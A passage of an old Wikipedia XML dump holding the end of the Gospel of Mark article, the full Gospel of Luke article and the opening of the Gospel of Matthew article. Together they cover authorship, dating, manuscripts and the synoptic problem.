*As in [[John 20|John]] ([http://www.biblegateway.com/passage/?search=John%2020:14;&amp;version=31; 20:14]) the resurrected Jesus first appears to only Mary Magdalene, from whom had been cast out seven demons ([http://www.biblegateway.com/passage/?search=Mark%2016:9;&amp;version=31; 16:9]). Later he appears to others.
*Disciples are told by the resurrected Jesus that they can handle serpents and drink poison without harm ([http://www.biblegateway.com/passage/?search=Mark%2016:18;&amp;version=31; 16:18]).
*Mark is possibly the easiest gospel recognizable as an artistic creation of a particular culture of people at a particular period in the ancient world. This is a world where miracle is taken for granted. Not to believe in them would seem simply irrational. MacMullen,1984 (Also see Galen's-''On Jews and Christians '' in its ENTIRETY, Robert Wilken's ''The Christians as the Romans Saw Them'', Yale, 1986 &amp; ''Changes in the Roman Empire : Essays in the Ordinary'', Ramsay MacMullen, Princeton, 1990)

==Markan priority among the Synoptic gospels==
The first three or [[synoptic gospels]] are closely related.  For example, out of a total of 662 verses, Mark has 406 in common with both Matthew and Luke, 145 with Matthew alone, 60 with Luke alone, and at most 51 peculiar to itself, according to one reckoning.  The commonality goes beyond the same selection of what stories about Jesus to tell but extends to the use of many of the same words in how they are told.  The [[synoptic problem]] is an investigation into whether and how the gospels of Mark, Matthew, and Luke used each other or common sources.  

Most researchers into the synoptic problem have concluded that Mark was written first and used by Matthew and Luke (&quot;[[Markan priority]]&quot;).  Markan priority was first proposed by G. Ch. Storr, in [[1786]] but it did not come to dominate critical scholarship until the mid-19th century.  The major alternative to Markan priority is the [[Griesbach hypothesis]], which holds that Mark was written third as an abbreviating combination of Matthew and Luke.  The traditional view that Matthew was written first in Hebrew (or Aramaic), and the Greek Mark was based on it, and a few of the advocates of traditional suggest that the Greek Matthean was translated with the use of an already written Mark and/or Luke, bringing the text into better agreement, to give the familiar Greek Matthew.

Of the two solutions to the synoptic problem that are based on Markan priority, the [[Two-Source hypothesis]] (2SH) posits that the gospels of Matthew and Luke also draw extensively from a now-lost &quot;sayings&quot; collection&amp;mdash;called [[Q document|Q]] after [[German language|German]] ''Quelle'', &quot;source&quot;.  Most supporters of the 2SH do not think there is a literary connection between Mark and Q, but a couple of active scholars have argued that Mark had some knowledge of Q.

==The &quot;little [[Apocalypse]]&quot; of Mark 13==
[[Exegesis]] is often made to show correspondences with the calamities of the First [[Jewish Revolt]] of AD 66&amp;ndash;70.  Jesus' remarks in 13:1&amp;ndash;2, seen as a reference to the destruction of the Temple, would place the work after AD 70.  The passage predicts that the Temple would be torn down completely&amp;mdash;&quot;Not one stone will be left upon another.&quot;  Indeed, the Temple was completely destroyed by the forces of the Roman general Titus ([[Josephus]], ''[[Jewish War]]'' VI).  (The [[Western Wall]], which still stands, was not a part of the Temple proper, but rather part of a larger structure on which the Temple and other buildings stood.)  This fulfilled prophecy would place the passage before the [[destruction of Jerusalem]], for readers who affirm the reality of prophecies; others speculate that this an example of a ''[[vaticinium ex eventu]]'' ([[New Latin|NL]], loosely &quot;prophecy after the event&quot;; cf. [[Book of Daniel]]).
Jesus seems to be  also talking about the [[End of the world]]:

Nation will rise against nation, and kingdom against kingdom; there will be [[earthquake]]s in various places; there will be famines. This is but the  beginning of the birth pangs.  
(verse 8)

==Losses and early editing==
Mark is the shortest gospel.  Manuscripts, both scrolls and codices, tend to lose text at the beginning and the end, not unlike a coverless paperback in a backpack.  These losses are characteristically unconnected with excisions.  For instance, Mark [http://www.biblegateway.com/passage/?search=Mark%201:1;&amp;version=31; 1:1] has been found in two different forms. Most manuscripts of Mark, included the highly regarded 4th century manuscript of Mark, [[Codex Vaticanus]], has the text &quot;son of God,&quot; but three important manuscripts do not.  Those three are: [[Codex Sinaiticus]] 01 (4th century), [[Codex Koridethi]] 037 (9th century), and the text called [[Minuscule 28]] (11th century).  A further manuscript, P45 is 3rd century, but its opening portion has not survived.  (At the same time there is a translation issue that affects the intent: the article &quot;the&quot; is not present in Greek MSS; it was instead added to English translations for flow and compatibility with Church doctrine.  &quot;A Son of God&quot; would also be a correct translation, as would the omission the article entirely.)  &lt;!-- &quot;That a copyist omitted &quot;Son of God&quot; seems unlikely.  As the phrase appears later in the story, some speculate that the author is intentionally building drama toward a later revelation of Jesus's true identity.&quot;  What is this?  -ADH --&gt;

An axiom adopted by some readers, though not by professionals generally, is: &quot;A shorter version generally means an earlier form.&quot;  Judicious editing of unwanted material, however, may also produce a shorter document.  The discovery of sections that have been deleted in the familiar, canonical Mark, quoted in a letter of [[Clement of Alexandria]], is discussed in the entry for [[Secret Gospel of Mark]].

Interpolations may not be editorial, either.  It is a common experience that [[gloss]]es written in the margins of manuscripts get incorporated into the text as copies are made.  Any particular example is open to dispute of course, but one may take note of Mark [http://www.biblegateway.com/passage/?search=Mark%207:16;&amp;version=31; 7:16], &quot;Let anyone with ears to hear, listen,&quot; which is not found in early manuscripts.

===Ending===
There was some dispute among textual critics in the 19th century as to whether [http://www.biblegateway.com/passage/?search=Mark%2016:9-20;&amp;version=31; 16:9-20], describing some disciples' encounters with the resurrected Jesus, were actually part of the original Gospel, or if they were added later.  The oldest extant manuscripts do not contain these verses and the style differs from the rest of Mark, suggesting that they were a later addition.  A few manuscripts even include a different ending after verse 8.  By the 5th century, at least 4 different endings have been attested.  (See [[Mark 16]] for a more comprehensive treatment of this topic.)

The third-century theologian [[Origen]] quoted the resurrection stories in Matthew, Luke, and John but failed to quote anything after Mark [http://www.biblegateway.com/passage/?search=Mark%2016:8;&amp;version=31; 16:8], suggesting that his copy of Mark stopped there, but this is an argument of silence.  Critics are divided over whether the original ending at 16:8, which ends the Gospel at the [[empty tomb]] without further explanation, was intentional or the accidental loss of the complete ending or even the author's death.[http://www.christiancadre.org/member_contrib/Mark_Ending.html]  Some of those who believe that the 16:8 ending was intentional suggest a connection to the theme of the Messianic Secret.

==References and further reading==
*[[Raymond Brown|Brown, R.]], et al. ''The New Jerome Biblical Commentary'', Prentice Hall, 1990.
*[[Rudolf Bultmann|Bultmann, R.]], ''History of the Synoptic Tradition'', Harper &amp; Row, 1963.
*Dewey, J., “The Survival of Mark’s Gospel: A Good Story?”, ''JBL'' 123.3 (2004) 495-507.
*[http://www.religion-online.org/showchapter.asp?title=1116&amp;C=1228 Grant, Robert M., ''A Historical Introduction to the New Testament'' Harper and Row, 1963: Chapter 8: The Gospel Of Mark]
*Holmes, M. W., &quot;To Be Continued... The Many Endings of Mark&quot;, ''Bible Review'' 17.4 (2001).
*Mack, Burton L., 1993. ''The Lost Gospel: The Book of Q and Christian origins'', HarperSanFrancisco.
*McKnight, E. V., ''What is Form Criticism?'', 1997.
*Perrin, N., ''What is Redaction Criticism?''
*Perrin, Norman &amp; Duling, Dennis C., ''The New Testament: An Introduction'', Harcourt Brace Jovanovich 1982, 1974

*Schnelle, Udo, 1998. ''The History and Theology of the New Testament Writings'' (M. Eugene Boring translator), Minneapolis: Fortress Press, 1998.
*Stephen Neill and Tom Wright,''The Interpretation of The New Testament 1861-1986'', Oxford University Press, 1990, 1989, 1964
*Telford, W. (ed.), ''The Interpretation of Mark'', Fortress Press, 1985.
*Tuckett, C. (ed), ''The Messianic Secret'', Fortress Press, 1983

==See also==
* [[Ancient history]]
* [[Curiosity]]
* [[Gospel of John]]
* [[Hero]]
* [[Miracle]]
* [[Mythology|Myth]]
* [[Parable]]
* [[Resurrection]]
* [[Ritual]]
* [[Rudolf Bultmann]]
* [[Science]]
* [[Storytelling]]
* [[Supernatural]]
* [[Tradition]]

==External links==
Online translations of the [[Gospel of Mark]]:
*[http://www.earlychristianwritings.com/mark.html Early Christian Writings:] Mark in numerous English translations, on-line scholarly resources
* {{biblegateway||Mark}}
*[http://en.wikisource.org/wiki/Bible%2C_King_James%2C_Mark Mark on Wikisource]

Related articles:
*[http://www.site-berea.com/dicionarios.html ''Easton's Bible Dictionary,'' 1897]: mainstream Protestant scholarship of the 19th century summed up for the average reader.
*&quot;Gospel of Mark&quot;, ''New Catholic Encyclopedia'', [http://www.newadvent.org]. A bit dated, but very informative.
*[http://www-user.uni-bremen.de/~wie/Secret/secmark_home.html Secret Gospel of Mark] Description of an altered Gospel of Mark in Egypt, mentioned in a letter by Clement of Alexandria, with images. 
*[http://www-user.uni-bremen.de/~wie/TCG/TC-Mark.pdf A textual commentary on the Gospel of Mark] Detailed textcritical discussion of the 300 most important variants of the Greek text (PDF, 411 pages).
*[http://users2.ev1.net/~turton/GMark/GMark_index.html Michael A. Turton's Historical Commentary on the Gospel of Mark]A detailed commentary on the Gospel of Mark.
*[http://www-user.uni-bremen.de/~wie/TCG/TC-Mark-Ends.pdf The various endings of Mark] Detailed textcritical description of the evidence, the manuscripts, and the variants of the Greek text (PDF, 17 pages).

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{| border=&quot;1&quot; style=&quot;border-collapse: collapse&quot;
|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;Center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|Preceded by:&lt;br&gt;&lt;Center&gt;[[Gospel of Matthew|Matthew]]
|'''[[Gospels]]'''
|Followed by:&lt;br&gt;&lt;Center&gt;[[Gospel of Luke|Luke]]
|}
&lt;/center&gt;


[[Category:New Testament books|Mark]]
[[Category:New Testament narrative|Mark]]

[[cs:Evangelium podle Marka]]
[[da:Markusevangeliet]]
[[de:Evangelium nach Markus]]
[[es:Evangelio de Marcos]]
[[fr:Évangile selon Marc]]
[[ko:마르코 복음서]]
[[id:Injil Markus]]
[[ia:Evangelio Secundo Marco]]
[[nl:Evangelie naar Marcus]]
[[ja:マルコによる福音書]]
[[no:Evangeliet etter Markus]]
[[pl:Ewangelia Marka]]
[[pt:Evangelho segundo Marcos]]
[[ru:Евангелие от Марка]]
[[scn:Vancelu di Marcu]]
[[sr:Свето Јеванђеље по Марку]]
[[fi:Evankeliumi Markuksen mukaan]]
[[sv:Markusevangeliet]]
[[zh:馬爾谷福音]]</text>
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  </page>
  <page>
    <title>Gospel of Luke</title>
    <id>12491</id>
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      <contributor>
        <username>Tawker</username>
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      <minor />
      <comment>Reverted edits by [[Special:Contributions/216.123.202.165|216.123.202.165]] ([[User talk:216.123.202.165|Talk]]) to last version by Wiki alf</comment>
      <text xml:space="preserve">{{Books of the New Testament}}
{{Template:Chapters in the Gospel of Luke}}
The '''Gospel of Luke''' is the third of the four [[Biblical canon|canon]]ical [[Gospel]]s of the [[New Testament]], which tell the story of [[Jesus]]' life, death, and resurrection.  Although the text does not name its author, the modern consensus follows the traditional view that this gospel and the [[Acts of the Apostles]] were written by the same author. The traditional view is that this author is the [[Luke the Evangelist|Luke]] named in the ''[[Epistle to Philemon]]'' [http://www.biblegateway.com/passage/?search=Philemon%201:24;&amp;version=31; 1:24], a follower of [[Paul of Tarsus|Paul]]. 

The main characteristic of this Gospel, as Farrar (''Cambridge Bible'', Luke, Introd.) remarks, is expressed in the motto, &quot;Who went about doing good, and healing all that were oppressed of the devil&quot; (Acts [http://www.biblegateway.com/passage/?search=acts%2010:38;&amp;version=31; 10:38]; compare with [[Luke 4|Luke]] [http://www.biblegateway.com/passage/?search=luke%204:18;&amp;version=31; 4:18]). Luke wrote for the &quot;[[Hellenic]] world.&quot;

==Authorship and audience==

There is substantial evidence to indicate that the author of Luke also wrote the book of [[Acts of the Apostles|Acts]].  The most direct evidence comes from the prefaces of each book.  Both prefaces are addressed to [[Theophilus (Biblical)|Theophilus]], the author's patron, and the preface of Acts explicitly references &quot;my former book&quot; about the life of Jesus.  Furthermore, there are linguistic and theological similarities between the two works, suggesting that they have a common author.  With the agreement of nearly all scholars, Udo Schnelle writes, &quot;the extensive linguistic and theological agreements and cross-references between the Gospel of Luke and the Acts indicate that both works derive from the same author&quot; (The History and Theology of the New Testament Writings, p. 259).  See also [[Acts of the Apostles#Authorship|Acts of the Apostles -- Authorship]].
 
The evangelist does not claim to have been an eyewitness of Jesus's life, but to have investigated everything carefully and to have written an orderly narrative of the facts ([[Luke 1|Luke]] [http://www.biblegateway.com/passage/?search=Luke%201:1-4;&amp;version=31; 1:1-4]).  The authors of the other three Gospels, Matthew, Mark, and John, probably used similar sources.  According to the [[two-source hypothesis]], the most commonly accepted solution to the [[synoptic problem]], Luke's sources included the [[Gospel of Mark]] and another collection of lost sayings known by scholars as [[Q document|Q, the ''Quelle'' or &quot;source&quot; document]]. 

The general consensus is that Luke was written by a Greek for the gentile Christians. The Gospel is addressed to the author's patron, the &quot;most excellent&quot; [[Theophilus (Biblical)|Theophilus]].

==Date of composition==
The date of this gospel's composition is uncertain.  Estimates range from ''ca'' [[60]] to ''ca'' [[100 AD]]. 

===Traditional views of the date===
Traditionally, Christians believe that Luke wrote under the direction, if not at the dictation, of Paul. This would place it as having been written before the [[Acts of the Apostles|Acts]], with Acts being composed around [[63|AD 63]] or [[64]]. Consequently, the tradition is that this Gospel was written about [[60]] or [[63]], when Luke may have been at Caesarea in attendance on Paul, who was then a prisoner. If the alternate conjecture is correct, that it was written at Rome during Paul's imprisonment there, then it would date earlier, [[40]]&amp;ndash;[[60]]. Evangelical Christians tend to favor this view, in keeping with the tradition to date the gospels very early.  

Luke addressed his gospel to &quot;most excellent Theophilus.&quot;  Theophilus, which in Greek means &quot;Friend of God&quot;, may just be a literary expression.  

Unfortunately, nowhere in ''Luke'' or ''Acts'' does it say that the author is Luke, the companion of Paul; this ascription is late second century. Furthermore, the text itself reveals hints that it was not written as a dictation of a single author, but made use of multiple sources.

===Critical views of the date===
In contrast to the traditional view, many contemporary scholars regard [[Gospel of Mark|Mark]] as a source text used by the author(s) of Luke.  Since Mark may have been written after the destruction of the [[Temple of Jerusalem]], around [[70]], Luke would not have been written before 70. The Sadducees are another point traditional scholars use to confirm a later date, contrasting Matthew's focus on the tax collecters and Jesus' rebuke of their actions against Luke's hardly mentioning them at all within his gospel, because after the destruction of the Temple, the Sadducees lost their power base. Based on this datum, scholars have suggested dates for Luke from [[75]] to as late as [[100]], and Acts shortly thereafter, also between 80 and 100. Support for a later date comes from the speculation that the universalization of the message must be taken to mean a much later date than the 60&amp;ndash;70 given by the traditional view.

Debate continues among non-traditionalists about whether Luke was written before or after the end of the first century.  Those who would date it later argue that it was written in response to heterodoxical movements of the early second century.  Those who would date it earlier point out both that ''Luke'' lacks knowledge of the [[bishop|episcopal system]], which had been developed in the second century, and that an earlier date preserves the traditional connection of the gospel with the Luke who was a follower of Paul.

==Manuscripts==
The earliest manuscripts of the Gospel of Luke are [[papyrus]] fragments from the third century, one containing portions of all four gospels (P&lt;sup&gt;45&lt;/sup&gt;) and three others preserving only brief passages (P&lt;sup&gt;4&lt;/sup&gt;, P&lt;sup&gt;69&lt;/sup&gt;, P&lt;sup&gt;75&lt;/sup&gt;). These early copies, as well as the earliest copies of ''Acts'', date after the Gospel was separated from ''Acts''.

The [[Codex Bezae]], in the University Library, Cambridge, contains a 5th or 6th century manuscript that is the oldest complete manuscript of ''Luke,'' in [[Ancient Greek|Greek]] and [[Latin]] versions on facing pages. The Greek version appears to have descended from an offshoot of the main manuscript tradition and departs from familiar readings at many points. Though the text bears many intended corrections, often to bring it into line with the usual readings, the Codex Bezae demonstrates the latitude in manuscripts of scripture that still existed quite late in the tradition. Biblical scholars have minimized the Codex's importance, citing it generally only when it supports the common readings.

Verses [http://www.biblegateway.com/passage/?search=Luke%2022:19-20;&amp;version=31; 22:19b-20] and [http://www.biblegateway.com/passage/?search=Luke%2022:43-44;&amp;version=31; 22:43-44] are not present in early versions and are generally marked as such in modern translations.

===Relationship with other gospels===
Most New Testament scholars believe the author of Luke relied on Mark and Q as his primary sources. 

According to Farrar, &quot;Out of a total of 1151 verses, Luke has 389 in common with [[Gospel of Matthew|Matthew]] and [[Gospel of Mark|Mark]], 176 in common with Matthew alone, 41 in common with Mark alone, leaving 544 peculiar to himself. In many instances all three use identical language.&quot;

There are seventeen [[parable]]s peculiar to this Gospel. Luke also attributes to Jesus seven miracles which are not present in Matthew or Mark. The synoptic Gospels are related to each other after the following scheme. If the contents of each Gospel are numbered at 100, then when compared this result is obtained: Mark has 7 peculiarities, 93 coincidences. Matthew 42 peculiarities, 58 coincidences. Luke 59 peculiarities, 41 coincidences. That is, thirteen-fourteenths of [[Gospel of Mark|Mark]], four-sevenths of [[Gospel of Matthew|Matthew]], and two-fifths of Luke describe the same events in similar language. Luke's style is more polished than that of Matthew and Mark with fewer [[Hebrew language|Hebrew]] idioms. He uses a few Latin words (Luke [http://www.biblegateway.com/passage/?search=Luke%207:41;&amp;version=31; 7:41], [http://www.biblegateway.com/passage/?search=Luke%208:30;&amp;version=31; 8:30], [http://www.biblegateway.com/passage/?search=Luke%2011:33;&amp;version=31; 11:33], [http://www.biblegateway.com/passage/?search=Luke%2012:6;&amp;version=31; 12:6], and [http://www.biblegateway.com/passage/?search=Luke%2019:20;&amp;version=31; 19:20]), but no [[Syriac]] or Hebrew words except ''sikera'', an exciting drink of the nature of wine, but not made of grapes (from Heb. ''shakar'', &quot;he is intoxicated&quot;, [[Leviticus]] [http://www.biblegateway.com/passage/?search=Leviticus%2010:9;&amp;version=31; 10:9]), probably palm wine. This Gospel contains twenty-eight distinct references to the [[Old Testament]].

Many words and phrases are common to the Gospel of Luke and the Letters of Paul; compare: 

* Luke [http://www.biblegateway.com/passage/?search=Luke%204:22;&amp;version=31; 4:22] with [[Epistle to the Colossians|Colossians]] [http://www.biblegateway.com/passage/?search=Colossians%204:6;&amp;version=31; 4:6]. 
* Luke [http://www.biblegateway.com/passage/?search=Luke%204:32;&amp;version=31; 4:32] with [[1 Corinthians]] [http://www.biblegateway.com/passage/?search=1%20corinthians%202:4;&amp;version=31; 2:4]. 
* Luke [http://www.biblegateway.com/passage/?search=Luke%206:36;&amp;version=31; 6:36] with [[2 Corinthians]] [http://www.biblegateway.com/passage/?search=2%20corinthians%201:3;&amp;version=31; 1:3]. 
* Luke [http://www.biblegateway.com/passage/?search=luke%206:39;&amp;version=31; 6:39] with [[Epistle to the Romans|Romans]] [http://www.biblegateway.com/passage/?search=romans%202:19;&amp;version=31; 2:19]. 
* Luke [http://www.biblegateway.com/passage/?search=luke%209:56;&amp;version=31; 9:56] with 2 Corinthians [http://www.biblegateway.com/passage/?search=2%20corinthians%2010:8;&amp;version=31; 10:8]. 
* Luke [http://www.biblegateway.com/passage/?search=Luke%2010:8;&amp;version=31; 10:8] with 1 Corinthians [http://www.biblegateway.com/passage/?search=1%20corinthians%2010:27;&amp;version=31; 10:27]. 
* Luke [http://www.biblegateway.com/passage/?search=luke%2011:41;&amp;version=31; 11:41] with [[Epistle to Titus|Titus]] [http://www.biblegateway.com/passage/?search=titus%201:15;&amp;version=31; 1:15]. 
* Luke [http://www.biblegateway.com/passage/?search=luke%2018:1;&amp;version=31; 18:1] with [[2 Thessalonians]] [http://www.biblegateway.com/passage/?search=2%20thessalonians%201:11;&amp;version=31; 1:11]. 
* Luke [http://www.biblegateway.com/passage/?search=luke%2021:36;&amp;version=31; 21:36] with [[Epistle to the Ephesians|Ephesians]] [http://www.biblegateway.com/passage/?search=ephesians%206:18;&amp;version=31; 6:18]. 
* Luke [http://www.biblegateway.com/passage/?search=luke%2022:19-20;&amp;version=31; 22:19-20] with 1 Corinthians [http://www.biblegateway.com/passage/?search=1%20corinthians%2011:23-29;&amp;version=31; 11:23-29].
* Luke [http://www.biblegateway.com/passage/?search=luke%2024:34;&amp;version=31; 24:34] with 1 Corinthians [http://www.biblegateway.com/passage/?search=1%20corinthians%2015:5;&amp;version=31; 15:5].

==Attention to women==

Compared to the other canonical gospels,  Luke devotes significantly more attention to women. The Gospel of Luke features more female characters, features a female prophet ([http://www.biblegateway.com/passage/?search=Luke%202:36;&amp;version=31; 2:36]), and details the experience of pregnancy ([http://www.biblegateway.com/passage/?search=Luke%201:41-42;&amp;version=31; 1:41-42]).  Prominent discussion is given to the lives of [[Elizabeth (Biblical person)|Elizabeth]], [[John the Baptist]]'s mother (ch. [http://www.biblegateway.com/passage/?book_id=49&amp;chapter=1&amp;version=31 1]), and [[Mary, the mother of Jesus]] (ch. [http://www.biblegateway.com/passage/?book_id=49&amp;chapter=2&amp;version=31; 2]). Although most scholars understand the evangelist's self-referential use of a masculine participle in Luke 1:3 to mean that the evangelist was male, this prominence of women through the Luke gospel has led some scholars, including [[Randel McCraw Helms]], to suggest that the author of Luke may have been female.

==See also==
*[[Order of St. Luke]]
*[[Martin Luther]]'s commentary on [http://www.godrules.net/library/luther/NEW1luther_c5.htm the '''Magnificat'''] (Luke1:46-55)[http://www.christianbook.com/Christian/Books/product/?item_no=64210&amp;p=1010575]

==External links==
Online translations of the [[Gospel of Luke]]:
* {{biblegateway||Luke}}
* [http://www.earlychristianwritings.com/luke.html Early Christian Writings;] ''Gospel of Luke: introductions and e-texts''
* [http://www.ifrance.com/bezae/index.html French; English translation] 


Related articles:
*[http://www.katapi.org.uk/4Gospels/Ch8.htm#II B.H. Streeter, The Four Gospels : A study of origins 1924.]  
*[http://www-user.uni-bremen.de/~wie/TCG/TC-Luke.pdf A textual commentary on the Gospel of Luke] Detailed textcritical discussion of the 300 most important variants of the Greek text (PDF, 467 pages)
*[http://www.newadvent.org/cathen/09420a.htm Gospel of Saint Luke @ Catholic Encyclopedia]

----
''This article was originally based on text from [http://www.site-berea.com/dicionarios.html Easton Bible Dictionary of 1897] and from M.G. Easton M.A., D.D., ''Illustrated Bible Dictionary'', Third Edition, published by Thomas Nelson, 1897.''

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|- bgcolor=&quot;darkgray&quot;
|colspan=3|&lt;Center&gt;'''Books of the Bible'''
|- bgcolor=&quot;gainsboro&quot;
|Preceded by:&lt;br&gt;&lt;Center&gt;[[Gospel of Mark|Mark]]
|'''[[Gospels]]'''
|Followed by:&lt;br&gt;&lt;Center&gt;[[Gospel of John|John]]
|}
&lt;/center&gt;

[[Category:New Testament books|Luke]]
[[Category:New Testament narrative|Luke]]

[[zh-min-nan:Lō·-ka Hok-im]]
[[bs:Jevanđelje po Luki]]
[[cs:Evangelium podle Lukáše]]
[[da:Lukasevangeliet]]
[[de:Evangelium nach Lukas]]
[[es:Evangelio de Lucas]]
[[fr:Évangile selon Luc]]
[[ko:루카 복음서]]
[[id:Injil Lukas]]
[[ia:Evangelio secundo Luca]]
[[jv:Injil Lukas]]
[[la:Evangelium secundum Lucam]]
[[nl:Evangelie naar Lucas]]
[[ja:ルカによる福音書]]
[[pl:Ewangelia Łukasza]]
[[pt:Evangelho segundo Lucas]]
[[ru:Евангелие от Луки]]
[[scn:Vancelu di Luca]]
[[sr:Свето Јеванђеље по Луци]]
[[fi:Evankeliumi Luukkaan mukaan]]
[[sv:Lukasevangeliet]]
[[zh:路加福音]]</text>
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  </page>
  <page>
    <title>Gospel of Matthew</title>
    <id>12492</id>
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      <minor />
      <comment>/* External links */ updated link</comment>
      <text xml:space="preserve">{{Books of the New Testament}}
{{Chapters in the Gospel of Matthew}}
The '''Gospel of [[Matthew]]''' (literally: according to Matthew, [[Greek language|Greek]]: Κατα Μαθθαιον ) is one of the four [[Gospel]] accounts of the [[New Testament]]. The Gospel accounts are traditionally printed with Matthew first, followed in order by '''[[Gospel according to Mark|Mark]]''',  '''[[Gospel according to Luke|Luke]]''' and '''[[Gospel according to John|John]]'''.
==Overview==
For convenience, the book can be divided into its four structurally distinct sections:  Two introductory sections; the main section, which can be further broken into five sections, each with a narrative component followed by a long discourse of Jesus, and finally the Passion and Resurrection section.

# Containing the genealogy, the birth, and the infancy of Jesus ([[Matthew 1|1]]; 2). 
# The discourses and actions of [[John the Baptist]] preparatory to Christ's public ministry (3; 4:11).
# The discourses and actions of Christ in [[Galilee]] (4:12&amp;ndash;20:16).
## The [[Sermon on the Mount]]- Concerning morality (Ch. 5-7)
## The Missionary Discourse- Concerning the mission Jesus gave his disciples. (Ch. 10)
## The Parable Discourse- Stories that teach about the Kingdom of Heaven (Ch. 13)
## The &quot;Church Order&quot; Discourse- Concerning relationships among Christians. (Ch. 18)
## The Escatological Discourse, also called the Olivet Discourse- Concerning his Second Coming and the end of the age. (Ch. 24-25)
# The sufferings, death and [[Resurrection of Jesus]], the [[Great Commission]] (20:17&amp;ndash;28).

The one aim pervading the book is to show that [[Jesus of Nazareth]] was the promised [[Messiah]] &amp;mdash; he &quot;of whom Moses in the law and the prophets did write&quot; &amp;mdash; and that in him the ancient prophecies had their fulfilment. This book is full of allusions to passages of the [[Old Testament]] which the book interprets as predicting and foreshadowing Jesus' life and mission. This Gospel contains no fewer than sixty-five references to the Old Testament, forty-three of these being direct verbal citations, thus greatly outnumbering those found in the other Gospels. The main feature of this Gospel may be expressed in the motto &quot;I am not come to destroy, but to fulfil&quot; ([[Matthew 5:17]]).

This Gospel sets forth a view of Jesus as Christ and portrays him as an heir to King [[David/Biblical character|David's]] throne. 

The cast of thought and the forms of expression employed by the writer show that this Gospel was written by [[Jewish Christians]] of [[Judea]].

==Date of Gospel==
There is little in the gospel itself to indicate the date of its composition. Some conservative scholars argue that it was written before the destruction of Jerusalem (Matt 24), probably between the years AD [[60]] and [[65]], but others would date it in the 70s, even as late as AD [[85]].  

In regard to most recent scholarship, [[John Wenham]] is considered to be one of the more notable defenders of an early date for the gospel of Matthew.  In addition, [[Carsten Peter Thiede]] in ''Eyewitness to Jesus'' argues for the redating the [[Magdalen papyrus]] and the Gospel of Matthew to before AD 70. His writings have been hotly contested.

== Authorship ==

Although the document is anonymous, the authorship of this Gospel is traditionally ascribed to St. [[Matthew the Evangelist|Matthew]], a tax collector who became an [[Twelve Apostles|apostle]] of Jesus.  Of the twelve Apostles, Matthew would have made the most unpopular candidate for authorship  aside from Judas Iscariot because he held the hated office of tax collector.  However, early Church tradition unanimously agreed to Matthew's authorship.

The relation of the gospels to one another is the subject of some debate.  Most modern scholars believe that Matthew borrowed from [[Gospel of Mark|Mark]] and the hypothetical [[Q document]], but some scholars believe that Matthew was written first and that Mark borrowed from Matthew (see: [[Augustinian hypothesis]]).  Out of a total of 1071 verses, Matthew has 387 in common with Mark and the [[Gospel of Luke]], 130 with Mark, 184 with Luke; only 370 being unique to itself. 

[[Biblical criticism|Critical biblical]] scholars, like [[Herman N. Ridderbos]] in his book ''Matthew'', do not consider the apostle Matthew to be the author of this Gospel. He cites a number of reasons such as the text being in [[Greek language|Greek]], not [[Aramaic language|Aramaic]], the Gospel's heavy reliance on Mark, and the lack of characteristics usually attributed to an eyewitness account [http://www.earlychristianwritings.com/matthew.html]. [[Francis Write Beare]] agrees, and goes on to say in his book ''The Gospel according to Matthew'' &quot;there are clear indications that it is a product of the second or third Christian generation. The traditional name of Matthew is retained in modern discussion only for convenience.&quot;[http://www.earlychristianwritings.com/matthew.html]

Like the authors of the other gospels, the author of Matthew wrote this book according to his own plans and aims and from his own point of view, while at the same time borrowing from other sources.  According to the [[two-source hypothesis]] (the most commonly accepted solution to the [[synoptic problem]]), Matthew borrowed from both [[Gospel of Mark|Mark]] and a hypothetical sayings collection, known by scholars as [[Q document|Q]] (for the German ''Quelle'', meaning &quot;source&quot;). 

In ''The Four Gospels: A Study of Origins'' ([[1924]]), [[Burnett Hillman Streeter]] argued that a third source, referred to as ''M'' and also hypothetical, lies behind the material in Matthew that has no parallel in Mark or Luke. Through the remainder of the 20th century, there were various challenges and refinements of Streeter's hypothesis.  For example, in his [[1953]] book ''The Gospel Before Mark'', [[Pierson Parker]] posited an early version of Matthew (proto-Matthew) as the primary source of both Matthew and Mark, and Q source used by Matthew.

==A Hebrew Gospel of Matthew?==

There are numerous testimonies, starting from [[Papias]] and [[Irenaeus]], that Matthew originally wrote in the [[Hebrew language|Hebrew]] tongue, which could also refer to [[Aramaic language|Aramaic]].  The sixteenth-century [[Erasmus]] was the first to express doubts on the subject of an original Hebrew version of the Gospel of Matthew: &quot;It does not seem probable to me that Matthew wrote in Hebrew, since no one testifies that he has seen any trace of such a volume.&quot;  Here Erasmus distinguishes between a Gospel of Matthew in Hebrew and the lost apocryphal ''[[Gospel of the Hebrews]]'' and ''[[Gospel of the Nazoraeans]]'', from which patristic writers do quote.  The vast majority of contemporary scholars, based on analysis of the Greek of canonical Gospel of Matthew and use of sources such as the Greek Gospel of Mark, conclude that the book we have today was written originally in Greek and is not a translation from Hebrew or Aramaic (per Rev. [[Raymond E. Brown]], ''An Introduction to the New Testament'', p. 210).  If they are correct, then writers such as [[Clement of Alexandria]], [[Origen]], and [[Jerome]] referred to a document or documents distinct from the present Gospel of Matthew, as confirmed by the fact that [[Nicephorus]] lists the Gospel of Matthew and Gospel of the Hebrews separately in his ''Stichometry''.  All of the aforementioned texts are distinct from the ''[[Gospel of the Ebionites]]'', ''[[Gospel of Pseudo-Matthew]]'', and ''[[Shem-Tov Matthew]]''.

An alternative to this conclusion is at [[Aramaic primacy]].

Biblical scholar Stephen L. Harris mentions that the claims of Matthew Levi being the author could actually be references to “an early Christian, perhaps named Matthew, who assembled a list of messianic prophecies in the Hebrew Bible, a collection that the creator of our present gospel may have used” (Stephen L. Harris, ''Understanding the Bible''. 6th ed. Boston/Toronto: McGraw Hill, 2003, p. 424). The Jesus narrative would then have been assembled around these Tanakh verses. &lt;!--[[Ron Miller]], of [[Lake Forest College]], retranslated and wrote an extensive commentary on ''Matthew'', ''The [[Hidden Gospel of Matthew]]: Annotated and Explained'' (2004). relevance to this section?--&gt;

==Theology of canonical ''Matthew''==
According to R.T. France:
&quot;Matthew's gospel, more clearly than the others, presents the view of Jesus as himself the true Israel, and of those who have responded to his mission as the true remnant of the people of God . . . to be the true people of God is thus no longer a matter of nationality but of relationship to Jesus&quot; (''New Bible Commentary'', Inter Varsity Press).

